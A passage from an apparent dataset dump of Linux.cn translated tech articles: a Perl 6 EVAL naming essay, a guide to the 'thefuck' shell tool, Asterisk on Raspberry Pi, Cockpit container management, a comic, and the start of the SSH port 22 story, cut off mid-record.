title
stringlengths 5
75
| author
stringlengths 0
48
| fromurl
stringlengths 0
185
| summary
stringlengths 4
460
| pic
stringlengths 32
70
| largepic
stringlengths 0
69
| titlepic
bool 2
classes | thumb
bool 2
classes | islctt
bool 2
classes | selector
stringclasses 14
values | translator
stringlengths 0
45
| reviewer
stringclasses 27
values | editorchoice
bool 2
classes | tags
list | category
stringclasses 20
values | count
dict | comments_data
list | related
list | excerpt
stringlengths 4
460
| date
timestamp[s] | updated
timestamp[s] | id
int64 1
16.6k
| permalink
stringlengths 17
21
| content
stringlengths 116
82.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
eval 之源
|
Carl Mäsak
|
http://strangelyconsistent.org/blog/the-root-of-all-eval
|
唉，eval 这个函数让我爱恨交织，而且多半是后者居多。
|
/data/attachment/album/201705/02/173829x5vvjynncucmcvcw.jpg.thumb.jpg
|
/data/attachment/album/201705/02/173829x5vvjynncucmcvcw.jpg
| true | false | true |
geekpi
| false |
[
"eval",
"perl"
] |
观点
|
{
"viewnum": 4846,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
唉，eval 这个函数让我爱恨交织，而且多半是后者居多。
| 2017-05-02T17:38:00 | 2017-05-02T17:38:00 | 8,470 |
/article-8470-1.html
|
（LCTT 译注：本文标题 “The root of all eval” 影射著名歌曲“The root of all evil”（万恶之源））
唉，`eval` 这个函数让我爱恨交织，而且多半是后者居多。
```
$ perl -E'my $program = q[say "OH HAI"]; eval $program'
OH HAI
```
当 `eval` 函数在 Perl 6 中被重命名为 `EVAL` 时，我感到有点震惊（这要追溯到 2013 年，[在这里](https://github.com/perl6/specs/issues/50)讨论规范之后）。我一直没有从内心接受这样这样的做法。虽然这是个很好的意见，但是在这个意见上我似乎或多或少是孤独的。
理由是“这个函数真的很奇怪，所以我们应该用大写标记”。就像我们用 `BEGIN` 和其他 phaser 一样。使用 `BEGIN` 和其他 phaser，鼓励使用大写，这点我是同意的。phaser 能将程序“脱离正常控制流”。 但是 `eval` 函数并不能。（LCTT 译注： 在 Perl 6 当中，[phaser](https://docs.perl6.org/language/phasers) 是在一个特定的执行阶段中调用的代码块。）
其他大写的地方像是 .WHAT 这样的东西，它看起来像属性，但是会在编译时将代码变成完全不同的东西。因为这发生在常规情况之外，因此大写甚至是被鼓励的。
`eval` 归根到底是另一个函数。是的，这是一个潜在存在大量副作用的函数。但是那么多的标准函数都有大量的副作用。（举几个例子：`shell`、 `die`、 `exit`）你没看到有人呼吁将它们大写。
我猜有人会争论说 `eval` 是非常特别的，因为它以正常函数所没有的方式钩到编译器和运行时里面。（这也是 TimToady 在将该函数重命名的提交中的[提交消息](https://github.com/perl6/specs/commit/0b7df09ecc096eed5dc30f3dbdf568bbfd9de8f6)中解释的。）这是一个来自实现细节的争论，然而这并不令人满意。这也同样适用与刚才提到的那些小写函数。
雪上加霜的是，更名后 `EVAL` 也更难于使用：
```
$ perl6 -e'my $program = q[say "OH HAI"]; EVAL $program'
===SORRY!=== Error while compiling -e
EVAL is a very dangerous function!!! (use the MONKEY-SEE-NO-EVAL pragma to override this error,
but only if you're VERY sure your data contains no injection attacks)
at -e:1
------> program = q[say "OH HAI"]; EVAL $program⏏<EOL>
$ perl6 -e'use MONKEY-SEE-NO-EVAL; my $program = q[say "OH HAI"]; EVAL $program'
OH HAI
```
首先，注入攻击是一个真实的问题，并不是一个笑话。我们应该互相教育对方和新手。
其次，这个错误消息（`"EVAL is a very dangerous function!!!"`）完全是恐吓多于帮助。我觉得当我们向人们解释代码注入的危险时，我们需要冷静并且切合实际，而不是用三个感叹号。这个错误信息对[已经知道什么是注入攻击的人](http://bobby-tables.com/)来说是有意义的，对于那些不了解这种风险的人员，它没有提供任何提示或线索。
（Perl 6 社区并不是唯一对 `eval` 歇斯底里的，昨天我偶然发现了一个 StackOverflow 主题，关于如何将一个有类型名称的字符串转换为 JavaScript 中的相应构造函数，一些人不幸地提出了用 `eval`，而其他人立即集结起来指出这是多么不负责任，就像膝跳反射那样——“因为 eval 是坏的”）。
第三，“MOKNEY-SEE-NO-EVAL”。拜托，我们能不能不要这样……汗，启用一个核弹级的函数时，就像是猴子般的随机引用和轻率的尝试，我奇怪地发现*启用* `EVAL` 函数的是一个称为 `NO-EVAL` 的东西。这并不符合“<ruby> 最少惊喜 <rt> Least Surprise </rt></ruby>”原则。
不管怎样，有一天，我意识到我可以同时解决全大写名字问题和该指令的必要问题：
```
$ perl6 -e'my &eval = &EVAL; my $program = q[say "OH HAI"]; eval $program'
OH HAI
```
我很高兴我能想到这点子并记录下来。显然我们把它改回了旧名字，这个非常危险的功能（`!!!`）就又好了。 耶！
---
via: <http://strangelyconsistent.org/blog/the-root-of-all-eval>
作者：[Carl Mäsak](http://strangelyconsistent.org/about) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
命令行的生活是如此的 F**K
|
Wxy
|
你是不是经常在终端敲错命令，其实这都是因为该死的终端不配合，不能领会你的意思。
每当这个时候，甚至当你一再敲错的时候，你的内心肯定是崩溃的，一定在默念“……”。
而现在，是让你的终端觉悟的时候了！
|
/data/attachment/album/201705/03/094006s9eoysqgw9z7slzq.jpg.thumb.jpg
|
/data/attachment/album/201705/03/094006s9eoysqgw9z7slzq.jpg
| true | false | false | false |
[
"命令行",
"fuck"
] |
技术
|
{
"viewnum": 16083,
"commentnum": 19,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "192.176.1.89",
"message": "U win",
"username": "来自瑞典的 Chrome 58.0|Windows 7 用户",
"date": "2017-05-03T10:41:12"
},
{
"postip": "124.160.213.227",
"message": "牛逼",
"username": "来自浙江杭州的 Chrome Mobile 53.0|Android 7.0 用户",
"date": "2017-05-03T11:56:46"
},
{
"postip": "14.153.78.161",
"message": "cool",
"username": "来自广东深圳的 Chrome 59.0|Windows 7 用户",
"date": "2017-05-03T13:43:29"
},
{
"postip": "58.213.153.10",
"message": "。。。。。。。",
"username": "Asuraaaaa [Chromium 58.0|Ubuntu]",
"date": "2017-05-03T13:57:50"
},
{
"postip": "221.12.107.182",
"message": "没话说……",
"username": "来自浙江台州的 Firefox 53.0|Windows 10 用户",
"date": "2017-05-03T14:24:40"
},
{
"postip": "221.12.107.182",
"message": "每当这个时候，甚至当你一再敲错到时候，你的内心肯定是崩溃的，一定在默念“what the fuck”。。。",
"username": "来自浙江台州的 Firefox 53.0|Windows 10 用户",
"date": "2017-05-03T14:26:47"
},
{
"postip": "27.223.99.130",
"message": "哈哈！试试去！",
"username": "绿色圣光 [Firefox 53.0|GNU/Linux]",
"date": "2017-05-03T14:51:18"
},
{
"postip": "153.99.93.231",
"message": "Installing NVIDIA... error<br />\r\nfuck NVIDIA... further fuck required<br />\r\n fuck linux-kernel... fucked<br />\r\n fuck wayland... error<br />\r\n fuck gdm... fucked<br />\r\n **Tips: All those you just fucked can be done with one fuck upon Linux. Try fuck Linux next time :)**<br />\r\nfuck Linux... **Welcome to Windows! We notice that you're still using an older version of Windows, please update your system. I think I already mentioned this in linux-kernel-source; Can't you read, idiot? Now press that damn button. Not the one on",
"username": "来自江苏的 Chrome 57.0|Windows 7 用户",
"date": "2017-05-04T09:58:26"
},
{
"postip": "202.99.140.254",
"message": "pip3 install --upgrade pip<br />\r\npip3 install --user thefuck<br />\r\neval "$(thefuck --alias)"",
"username": "Kcptun [Chrome 55.0|Windows 10]",
"date": "2017-05-04T22:28:35"
},
{
"postip": "27.17.98.142",
"message": "简直 屌的 不要 不要的 fuck it",
"username": "jingwang [Chrome 57.0|GNU/Linux]",
"date": "2017-05-05T09:39:01"
},
{
"postip": "111.43.240.148",
"message": "fuck",
"username": "Ghjoker [Firefox 45.0|GNU/Linux]",
"date": "2017-05-07T15:55:58"
},
{
"postip": "112.10.164.34",
"message": "oh-my-zsh的plugins里面有这个插件，zsh就不用再手动设置了",
"username": "OriginCode [Chrome 58.0|GNU/Linux]",
"date": "2017-05-07T17:28:20"
},
{
"postip": "58.240.74.98",
"message": "每当出错的时候 只想fuck 全世界。。",
"username": "来自江苏南京的 Chrome 51.0|Windows 7 用户",
"date": "2017-05-08T13:43:59"
},
{
"postip": "218.60.148.103",
"message": "FUCK",
"username": "来自辽宁沈阳的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-08T15:37:38"
},
{
"postip": "112.64.216.35",
"message": "那如果fuck也写错了呢？",
"username": "执着的夏风 [Chrome 57.0|Windows 7]",
"date": "2017-05-09T21:22:47"
},
{
"postip": "110.253.16.253",
"message": "fake",
"username": "Kcptun [Chrome 55.0|Windows 10]",
"date": "2017-05-13T14:29:09"
},
{
"postip": "123.181.200.149",
"message": "fuck",
"username": "tenBlackTea [Chrome 58.0|Windows 7]",
"date": "2017-05-21T20:40:44"
},
{
"postip": "121.14.142.139",
"message": "fuck",
"username": "来自广东东莞的 Chrome 58.0|Mac 10.12 用户",
"date": "2017-05-31T17:01:03"
},
{
"postip": "101.25.84.158",
"message": "CentOS 7 怎么安装，求详细步骤、",
"username": "来自河北的 Chrome 60.0|Windows 10 用户",
"date": "2017-09-05T09:08:50"
}
] |
[
{
"raid": 8478,
"displayorder": 0
}
] |
你是不是经常在终端敲错命令，其实这都是因为该死的终端不配合，不能领会你的意思。
每当这个时候，甚至当你一再敲错的时候，你的内心肯定是崩溃的，一定在默念“……”。
而现在，是让你的终端觉悟的时候了！
| 2017-05-03T09:42:00 | 2017-05-03T09:42:00 | 8,471 |
/article-8471-1.html
|
你是不是经常在终端敲错命令，其实这都是因为该死的终端不配合，不能领会你的意思。
每当这个时候，甚至当你一再敲错的时候，你的内心肯定是崩溃的，一定在默念“……”。
而现在，是让你的终端觉悟的时候了！
有位名为 [@liamosaur](https://twitter.com/liamosaur/) 的哥们就忍不住对自己的终端发出了愤怒的[吼声](https://twitter.com/liamosaur/status/506975850596536320)，并付诸实践：
受此启发， 一位名为 [Vladimir Iakovlev](https://github.com/nvbn) 程序员对这个该死的终端发出了致命一击！他以及他的 [90 位愤怒的小伙伴们](https://github.com/nvbn/thefuck/graphs/contributors)打造出了一个名为 “[thefuck](https://github.com/nvbn/thefuck)” 的神器！
*当你的终端没有按你想象的输入命令时，请 `fuck` 它！*
*当你的终端没有按你想象的以 sudo 执行命令时，请 `fuck` 它！*
*当你的的终端不知道填上显而易见的参数时，请 `fuck` 它！*
当你输入错误的命令时：
```
➜ puthon
No command 'puthon' found, did you mean:
Command 'python' from package 'python-minimal' (main)
Command 'python' from package 'python3' (main)
zsh: command not found: puthon
➜ fuck
python [enter/↑/↓/ctrl+c]
Python 3.4.2 (default, Oct 8 2014, 13:08:17)
...
```
当你忘记输入参数时：
```
➜ git push
fatal: The current branch master has no upstream branch.
To push the current branch and set the remote as upstream, use
git push --set-upstream origin master
➜ fuck
git push --set-upstream origin master [enter/↑/↓/ctrl+c]
Counting objects: 9, done.
...
```
当你输入错误的参数时：
```
➜ git brnch
git: 'brnch' is not a git command. See 'git --help'.
Did you mean this?
branch
➜ fuck
git branch [enter/↑/↓/ctrl+c]
* master
```
当你忘记输入 `sudo` 时：
```
➜ apt-get install vim
E: Could not open lock file /var/lib/dpkg/lock - open (13: Permission denied)
E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?
➜ fuck
sudo apt-get install vim [enter/↑/↓/ctrl+c]
[sudo] password for nvbn:
Reading package lists... Done
...
```
如果生活是如此的不如意，你可以不断的“教诲”它：
```
➜ aptget install vim
No command 'aptget' found, did you mean:
Command 'apt-get' from package 'apt' (main)
zsh: command not found: aptget
➜ fuck
aot-get install vim [enter/ctrl-c]
E: Could not open lock file /var/lib/dpkg/lock - open (13: Permission denied)
E: Unable to lock the administration directory (/var/lib/dpkg), are you root?
```
还需要权限？再来！
```
➜ fuck
sudo apt-get install vim [enter/ctrl-c]
[sudo] password for nvbn:
Reading package lists... Done
Building dependency tree... 0%
... ...
```
好了，我想你肯定也想拥有这样的神器，请如此这般……
### 我要这个神器！
#### 环境需求
首先，你需要这些：
* python (2.7+ or 3.3+)
* pip
* python-dev
#### 安装
然后，在不同的操作系统上（没错，有 Python 的地方就行）：
在 Ubuntu 上可以通过 `apt` 安装：
```
sudo apt update
sudo apt install python3-dev python3-pip
pip3 install --user thefuck
```
OS X 上使用 [Homebrew](http://brew.sh/) 来安装：
```
brew install thefuck
```
其它的系统上，只要你有 `pip` 就行：
```
pip install --user thefuck
```
更多的 Linux 发行版，可以看[这里](https://github.com/nvbn/thefuck/wiki/Installation)。
#### 设置别名
上述安装的软件包名字是：“thefuck”——别问我为啥不能直接叫 “fuck”。所以，你可以设置个别名：
**Bash**
将下述行加入到 `.bashrc` 或 `.bash_profile` （用于 OSX）：
```
eval "$(thefuck --alias)"
```
**ZSH**
将下述行加入到 `.zshrc`:
```
eval "$(thefuck --alias)"
```
其它的 shell ，包括 powershell，可以参考[这里](https://github.com/nvbn/thefuck/wiki/Shell-aliases)。
当然，我觉得我更喜欢给它起个别名叫 “`kao`”。:D
要让别名立刻生效，你需要用 `source` 命令，如：
```
source ~/.bashrc
或
source ~/.zshrc
```
### 它是怎么让我念头通达的？
thefuck 这个软件包包含了[上百个匹配规则](https://github.com/nvbn/thefuck#how-it-works)，专门用来修改你的那些错误，贴心地将它们修改成应该的样子！
具体有哪些规则，你可以看看[这里](https://github.com/nvbn/thefuck#how-it-works)，或者试试就知道了。
当然，如果你经常犯一些[独特的错误](https://github.com/nvbn/thefuck/issues)，你也可以建立自己的规则，而且不妨[提交拉取请求](https://github.com/nvbn/thefuck/pulls)给这个项目，找到和你一样独特的小伙伴们。
还等什么？赶快去**装**啊！
（本文中的例子和图片来自[该项目](https://github.com/nvbn/thefuck)。）
|
||||
如何在树莓派中安装 VoIP 系统：Asterisk
|
Don Watkins
|
https://opensource.com/article/17/4/asterisk-raspberry-pi-3
|
你是否在为小型企业或家庭办公室寻找电话系统？我一直对可扩展 VoIP（Voice over IP）解决方案感兴趣，后来我在树莓派上找到 Asterisk 的一个实现。
|
/data/attachment/album/201705/03/162529hzwmcbc7ccbf7wjc.jpg.thumb.jpg
|
/data/attachment/album/201705/03/162529hzwmcbc7ccbf7wjc.jpg
| true | false | true |
geekpi
| false |
[
"树莓派",
"VoIP"
] |
树莓派
|
{
"viewnum": 14002,
"commentnum": 1,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "183.65.30.2",
"message": "yate无法链接",
"username": "昨天晴朗Amo [Chrome 56.0|GNU/Linux]",
"date": "2017-05-06T13:14:54"
}
] |
[] |
你是否在为小型企业或家庭办公室寻找电话系统？我一直对可扩展 VoIP（Voice over IP）解决方案感兴趣，后来我在树莓派上找到 Asterisk 的一个实现。
| 2017-05-03T16:26:00 | 2017-05-03T16:26:00 | 8,472 |
/article-8472-1.html
|
>
> 你是否在为小型企业或家庭办公室寻找电话系统？
>
>
>
你是否在为小型企业或家庭办公室寻找电话系统？我一直对可扩展 VoIP（Voice over IP）解决方案感兴趣，后来我在树莓派上找到 [Asterisk](http://www.asterisk.org/) 的一个实现。
我的好奇心被激起了，我决心尝试一下，所以我从 [Asterisk](http://www.raspberry-asterisk.org/downloads/) 官网[下载](http://download.raspberry-asterisk.org/raspbx-28-01-2017.zip)了它（RasPBX），然后使用我的树莓派 3 构建服务器。
### 准备开始
首先，我将下载的镜像刻录到 MicroSD 卡上。建议的最小值是 4 GB。将镜像传输到 MicroSD 卡并插到树莓派上的相应插槽中后，我将网线连接到树莓派和家庭路由器上的以太网端口中。
更多关于树莓派的内容：
* [什么是树莓派？](https://opensource.com/resources/what-raspberry-pi?src=raspberry_pi_resource_menu)
* [开始使用树莓派](https://opensource.com/article/16/12/getting-started-raspberry-pi?src=raspberry_pi_resource_menu)
* [给我们发送你的树莓派项目和教程](https://opensource.com/article/17/2/raspberry-pi-submit-your-article?src=raspberry_pi_resource_menu)
接下来，我在 Linux 上打开一个终端，并输入 `ssh root@192.168.1.8`，这是我的服务器的 IP 地址。我被提示以 `root` 用户身份登录到 RasPBX 上。默认密码是 `raspberry`。 （出于安全考虑，如果你打算再多试试，请务必更改默认密码。）
当我登录到了 RasPBX 上的 shell 后，接下来我需要准备配置了。根据网站上提供的[文档](http://www.raspberry-asterisk.org/documentation/)，我在 shell 下输入 `regen-hostkeys` 来创建新的主机密钥。然后输入 `configure-timezone` 来配置服务器的时区。我通过在提示符下输入 `dpkg-reconfigure locales` 来配置区域设置。我也安装了 [Fail2Ban](http://www.raspberry-asterisk.org/documentation/#fail2ban) 来保障服务器的安全性。
现在我准备测试我的配置。
### 测试
我从 RasPBX 的 shell 中登出，然后打开浏览器并输入我的服务器的 IP 地址。将服务器 IP 地址加载到浏览器中，我看到了一个可爱的登录页面。
[FreePBX](https://www.freepbx.org/) 提供了一个非常好的基于 Web 的开源图形用户界面，我用它来控制和配置 Asterisk（可在 [GitHub](https://github.com/asterisk/asterisk/blob/master/LICENSE) 上找到）。（FreePBX 是 GPL 许可的）。我用它来完成其余的配置。FreePBX 的默认登录账号为用户名：`admin`； 密码：`admin`。
登录之后，我进入位于显示屏左上方的<ruby> 应用菜单 <rt> Application Menu </rt></ruby>。点击菜单链接并选择了第二个选项，即 <ruby> “应用” <rt> Applications </rt></ruby>，接着选择了第四个选项，<ruby> “分机” <rt> Extensions </rt></ruby>。从那里我选择创建一个 New Chan\_Sip 分机。
我使用密码配置了一个 sip 分机用户。密码是自动生成的，也可以选择创建自己的密码。
现在我有了一个完整的分机，我急于尝试我的新的 VoIP 服务器。我下载并安装了 [Yate 客户端](http://yateclient.yate.ro/index.php/Download/Download)，这是在构建服务器的过程中发现的。安装 [Yate](https://en.wikipedia.org/wiki/Yate_(telephony_engine)) 之后，我想测试与服务器的连接。我发现我可以使用 Yate 连接到服务器并输入 `*43` 进行回声测试。当我听到客户端指示时，我感到很激动。
我决定创建另外一个 sip 分机，这样我就可以测试系统的语音信箱功能。 在完成后，我使用 Yate 客户端来呼叫这个分机，并留下了简短的语音留言。然后再次使用 Yate 呼叫该分机并输入 `*97` 来检索语音留言。然后我想看看我是否可以使用我的新服务器来呼叫外线。返回到菜单，选择 <ruby> “连接” <rt> Connectivity </rt></ruby> 选项，并添加了 Google Voice 号码。
接着我返回到 “连接” 菜单，并将 Google Voice 添加到出站路由中。
### 完成一个呼叫
回到 Yate 客户端，我呼叫了一个外线并成功完成了这个呼叫。
我相信这个特定的 VoIP 解决方案可以轻松地为一个小型办公室工作。根据 RasPBX 网站的[常见问题](http://www.raspberry-asterisk.org/faq/)部分，典型的树莓派系统可以在树莓派 1 上支持多达 10 个并发呼叫。
Asterisk 有很多细微差别的功能，FreePBX 则可以很容易地利用它们。
*关于树莓派上的 Asterisk 的更多信息，请参考他们的[博客](http://www.raspberry-asterisk.org/blog/)。你可以在他们的网站上找到有关 [FreePBX 源代码](https://www.freepbx.org/development/source-code/)的其他信息。*
（题图：Pixabay，CC0）
---
作者简介：
Don Watkins - 教育家、教育技术专家、企业家、开源倡导者。教育心理学硕士、教育领导硕士、Linux 系统管理员、CCNA、使用 Virtual Box 虚拟化。关注我 @Don\_Watkins。
---
via: <https://opensource.com/article/17/4/asterisk-raspberry-pi-3>
作者：[Don Watkins](https://opensource.com/users/don-watkins) 译者：[geekpi](https://github.com/geekpi) 校对：[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
使用 Cockpit 方便地管理容器
|
Jack Wallen
|
https://www.linux.com/learn/intro-to-linux/2017/3/make-container-management-easy-cockpit
|
如果你正在寻找一种管理运行容器的 Linux 服务器的简单方法，那么你应该看看 Cockpit。
|
/data/attachment/album/201705/03/164839fk2ni4i54niim44y.jpg.thumb.jpg
|
/data/attachment/album/201705/03/164839fk2ni4i54niim44y.jpg
| true | false | true |
geekpi
| false |
[
"容器",
"Cockpit",
"Docker"
] |
容器与云
|
{
"viewnum": 14178,
"commentnum": 0,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
如果你正在寻找一种管理运行容器的 Linux 服务器的简单方法，那么你应该看看 Cockpit。
| 2017-05-03T16:47:00 | 2017-05-03T16:47:00 | 8,473 |
/article-8473-1.html
|
>
> 如果你正在寻找一种管理运行容器的 Linux 服务器的简单方法，那么你应该看看 Cockpit。
>
>
>
如果你管理着一台 Linux 服务器，那么你可能正在寻找一个可靠的管理工具。为了这个你可能已经看了 [Webmin](http://www.webmin.com/) 和 [cPanel](http://cpanel.com/) 这类软件。但是，如果你正在寻找一种简单的方法来管理还包括了 Docker 的 Linux 服务器，那么有一个工具可以用于这个需求：[Cockpit](http://cockpit-project.org/)。
为什么使用 Cockpit？因为它可以处理这些管理任务：
* 连接并管理多台机器
* 通过 Docker 管理容器
* 与 Kubernetes 或 Openshift 集群进行交互
* 修改网络设置
* 管理用户帐号
* 通过基于 Web 的 shell 访问
* 通过图表查看系统性能信息
* 查看系统服务和日志文件
Cockpit 可以安装在 Debian、Red Hat、CentOS、Arch Linux 和 Ubuntu 之上。在这里，我将使用一台已经安装了 Docker 的 Ubuntu 16.04 服务器来安装系统。
在上面的功能列表中，其中最突出的是容器管理。为什么？因为它使安装和管理容器变得非常简单。事实上，你可能很难找到更好的容器管理解决方案。
因此，让我们来安装这个方案并看看它的使用是多么简单。
### 安装
正如我前面提到的，我将在一台运行着 Docker 的 Ubuntu 16.04 实例上安装 Cockpit。安装步骤很简单。你要做的第一件事是登录你的 Ubuntu 服务器。接下来，你必须使用下面的命令添加必要的仓库：
```
sudo add-apt-repository ppa:cockpit-project/cockpit
```
出现提示时，按下键盘上的回车键，等待提示返回。一旦返回到 bash 提示符，使用下面的命令来更新 apt：
```
sudo apt-get get update
```
使用下面的命令安装 Cockpit：
```
sudo apt-get -y install cockpit cockpit-docker
```
安装完成后，需要启动 Cockpit 服务并使它开机自动启动。要做到这个，使用下面的两个命令：
```
sudo systemctl start cockpit
sudo systemctl enable cockpit
```
安装就到这里了。
### 登录到 Cockpit
要访问 Cockpit 的 web 界面，打开浏览器（与 Cockpit 服务器在同一个网络内），输入 `http://IP_OF_SERVER:9090`，你就会看到登录页面（图 1）。
*图 1：Cockpit 登录页面。*
在 Ubuntu 中使用 Cockpit 有个警告。Cockpit 中的很多任务需要管理员权限。如果你使用普通用户登录，则无法使用 Docker 等一些工具。 要解决这个问题，你可以在 Ubuntu 上启用 root 用户。但这并不总是一个好主意。通过启用 root 帐户，你将绕过已经建立多年的安全系统。但是，在本文的用途中，我将使用以下两个命令启用 root 用户：
```
sudo passwd root
sudo passwd -u root
```
注意，请确保给 root 帐户一个强壮的密码。
你想恢复这个修改的话，你只需输入下面的命令：
```
sudo passwd -l root
```
在其他发行版（如 CentOS 和 Red Hat）中，你可以使用用户名 `root` 及其密码登录 Cockpit，而无需像上面那样需要额外的步骤。
如果你对启用 root 用户感到担心，则可以在服务器的终端窗口拉取镜像（使用命令 `docker pull IMAGE_NAME`， 这里的 `IMAGE_NAME` 是你要拉取的镜像）。这会将镜像添加到你的 docker 服务器中，然后可以通过普通用户进行管理。唯一需要注意的是，普通用户必须使用以下命令将自己添加到 Docker 组：
```
sudo usermod -aG docker USER
```
其中，`USER` 是实际添加到组的用户名。在你完成后，重新登出并登入，接着使用下面的命令重启 Docker：
```
sudo service docker restart
```
现在常规用户可以启动并停止 Docker 镜像/容器而无需启用 root 用户了。唯一一点是用户不能通过 Cockpit 界面添加新的镜像。
### 使用 Cockpit
一旦你登录后，你可以看到 Cockpit 的主界面（图 2）。
*图 2：Cockpit 主界面。*
你可以通过每个栏目来检查服务器的状态等，但是我们想要直接进入容器。单击 “Containers” 那栏以显示当前运行的以及可用的镜像（图3）。
*图 3：使用 Cockpit 管理容器难以置信地简单。*
要启动一个镜像，只要找到镜像并点击关联的启动按钮。在弹出的窗口中（图 4），你可以在点击运行之前查看所有镜像的信息（并根据需要调整）。
*图 4： 使用 Cockpit 运行 Docker 镜像。*
镜像运行后，你可以点击它查看状态，并可以停止、重启、删除实例。你也可以点击修改资源限制并接着调整内存限制还有（或者）CPU 优先级。
### 添加新的镜像
假设你以 root 用户身份登录。如果是这样，那么你可以在 Cockpit GUI 的帮助下添加新的镜像。在“ Container” 栏目下，点击获取新的镜像按钮，然后在新的窗口中搜索要添加的镜像。假设你要添加 CentOS 的最新官方版本。在搜索栏中输入 centos，在得到搜索结果后，选择官方列表，然后单击下载（图5）。
*图 5：使用 Cockpit 添加最新的官方构建 CentOS 镜像到 Docker 中。*
镜像下载完后，那它就在 Docker 中可用了，并可以通过 Cockpit 运行。
### 如获取它那样简单
管理 Docker 并不容易。是的，在 Ubuntu 上运行 Cockpit 会有一个警告，但如果这是你唯一的选择，那么也有办法让它工作。在 Cockpit 的帮助下，你不仅可以轻松管理 Docker 镜像，也可以在任何可以访问 Linux 服务器的 web 浏览器上这样做。请享受这个新发现的让 Docker 易用的方法。
---
via: <https://www.linux.com/learn/intro-to-linux/2017/3/make-container-management-easy-cockpit>
作者：[JACK WALLEN](https://www.linux.com/users/jlwallen) 译者：[geekpi](https://github.com/geekpi) 校对：[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
极客漫画：大数据婚姻
|
Daniel Stori
|
https://turnoff.us/geek/bigdata-marriage/
|
单身的时候，自己的生活过的清净而惬意。一旦你结了婚，你的妻子为了生活而忙碌，便开始关注生活中的点点滴滴，会给你说大量的话，传递大量的信息，这何尝不是一种“大数据”呢？
|
/data/attachment/album/201705/04/143310o6u8g7b8ldhh6bmb.png.thumb.jpg
|
/data/attachment/album/201705/04/143310o6u8g7b8ldhh6bmb.png.large.jpg
| false | false | true |
Bestony
| false |
[
"大数据",
"漫画"
] |
极客漫画
|
{
"viewnum": 6888,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
单身的时候，自己的生活过的清净而惬意。一旦你结了婚，你的妻子为了生活而忙碌，便开始关注生活中的点点滴滴，会给你说大量的话，传递大量的信息，这何尝不是一种“大数据”呢？
| 2017-05-04T14:33:00 | 2017-05-04T14:33:00 | 8,475 |
/article-8475-1.html
|
这幅漫画是作者假借大数据来吐槽自己的老婆太唠叨了。
也是一个非常有意思的比喻，作为男性可能都有所体会，在没有结婚的时候，甚至是说，单身的时候，自己的生活过的清净而惬意。一旦你结了婚，你的妻子为了生活而忙碌，便开始关注生活中的点点滴滴，会给你说大量的话，传递大量的信息，这何尝不是一种“大数据”呢？
via: <https://turnoff.us/geek/bigdata-marriage/>
作者：[Daniel Stori](http://turnoff.us/about/) 译者&点评：[Bestony](https://github.com/bestony) 校对：[wxy](https://github.com/wxy) 合成：[GHLandy](https://github.com/GHLandy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
SSH 协议端口号 22 背后的故事
|
Tatu Ylonen
|
https://www.ssh.com/ssh/port
|
为什么 SSH（安全终端）的端口号是 22 呢，这不是一个巧合，这其中有个我（Tatu Ylonen，SSH 协议的设计者）未曾诉说的故事。
|
/data/attachment/album/201705/04/161522a4529o95m6i5maaq.png.thumb.jpg
|
/data/attachment/album/201705/04/161522a4529o95m6i5maaq.png
| true | false | true |
kenxx
| false |
[
"防火墙",
"SSH",
"端口"
] |
观点
|
{
"viewnum": 18999,
"commentnum": 1,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "61.133.215.190",
"message": "ssh是TCP/IP之上众多网络协议中最重要的一个",
"username": "来自宁夏银川的 Chrome 59.0|Windows 7 用户",
"date": "2017-08-02T16:35:41"
}
] |
[] |
为什么 SSH（安全终端）的端口号是 22 呢，这不是一个巧合，这其中有个我（Tatu Ylonen，SSH 协议的设计者）未曾诉说的故事。
| 2017-05-04T16:15:00 | 2017-05-04T16:15:00 | 8,476 |
/article-8476-1.html
|
为什么 [SSH](https://www.ssh.com/ssh/)（安全终端）的端口号是 22 呢，这不是一个巧合，这其中有个我（[Tatu Ylonen](https://www.ssh.com/people/tatu-ylonen)，SSH 协议的设计者）未曾诉说的故事。
### 将 SSH 协议端口号设为 22 的故事
1995 年春我编写了 SSH 协议的最初版本，那时候 [telnet](https://www.ssh.com/ssh/telnet) 和 [FTP](https://www.ssh.com/ssh/ftp/) 正被广泛使用。
当时我设计 SSH 协议想着是为了替代 `telnet`（端口 23）和 `ftp`（端口21）两个协议的，而端口 22 是空闲的。我想当然地就选择了夹在 `telnet` 和 `ftp` 的端口中间的数字。我觉得端口号虽然是个小事但似乎又存在着某种信念。但我到底要怎么拿到那个端口号呢？我未曾拥有过任何一个端口号，但我却认识几个拥有端口号的人！
在那时取得端口号的事情其实说来挺简单的。毕竟当时的因特网（Internet）并不是很大，是因特网爆炸的早期。端口号分配的活儿是 IANA（Internet Assigned Numbers Authority，互联网数字分配机构）干的。在那时这机构可相当于是因特网先驱 [Jon Postel](https://en.wikipedia.org/wiki/Jon_Postel) 和 [Joyce K. Reynolds](https://en.wikipedia.org/wiki/Joyce_K._Reynolds) 一般的存在。Jon 参与编写了多项主要的协议标准，例如 IP（RFC 791）、ICMP（RFC 792）和 TCP（RFC 793）等一些你应该早有耳闻的协议。
我可以说是敬畏 Jon 先生的，他参与编写了几乎所有主要的因特网标准文档（Internet RFC）！
1995 年 7 月，就在我发布 `ssh-1.0` 前，我发送了一封邮件给 IANA：
>
> From ylo Mon Jul 10 11:45:48 +0300 1995
